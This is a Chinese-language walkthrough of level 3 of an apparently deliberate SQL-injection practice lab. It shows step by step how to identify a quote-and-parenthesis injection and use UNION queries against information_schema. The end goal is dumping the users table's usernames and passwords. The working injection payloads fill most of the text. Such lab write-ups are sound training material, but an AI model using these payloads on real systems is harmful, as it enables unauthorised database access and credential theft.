第三关请求方式为 GET请求 , 注入点为 单引号+括号的字符型注入 , 注入方式为 联合注入
第一步,判断输入方式
在参数中添加单引号' , 看会不会报错
?id=1'
数据库报错
有报错可知 , 最外层的一对单引号是数据库自带的,不用管 , 1' 是我们的参数 , 而参数右边有一个单引号和一个括号 , 由此我们可以推断 , SQL中使用单引号+括号来包裹参数 ,
固 单引号+括号的字符型注入
源码如下
第二步,获取字段数
?id=1') order by 4 -- a
第4列开始报错 , 说明返回的结果有3列 , 固 字段数为 3
第三步,获取显示位
union 联合查询获取字段的显示位置
?id=-1') union select 1,2,3 -- a
此处id=-1时 , 由于用户id不为负数,所以查询不出id,查询结果只有联合查询的 1 2 3 这一条结果,目的在于更好的展示字段结果显示的位置
此处select 1,2,3 , 与上一步获取的字段数相匹配
第四步,脱库
查询information_schema默认数据库的schemata表的schema_name字段 , 该字段保存所有数据库名
?id=-1') union select 1,2,group_concat(schema_name) from information_schema.schemata -- -
此处 group_concat() , 可将多行结果合并为一行 , 目的在于更好的展示结果
获取当前使用的数据库
?id=-1') union select 1,2,database() from information_schema.schemata -- -
此处的 database() , 可返回当前使用的数据库
可知,此关卡使用的数据库为 security , 接下来根据 security数据库获取其所有表
获取所有表
查询information_schema默认数据库的tables表的table_name字段 , 该字段保存了所以的表名
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- -
users表为用户表 , 接下来根据 users表 查询其所有字段
获取所有字段
查询information_schema默认数据库的columns表的column_name字段 , 该字段保存了所有字段
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- -
可知, 数据库为 security ,表为 users, 字段为 id,username,passwprd , 接下来根据此信息获取用户账号和密码
获取账号和密码
?id=-1') union select 1,2,group_concat(username,'~',password) from security.users -- -
此处 group_concat(username,'~',password) , 可将多行结果合并为一行,并使用'~'分隔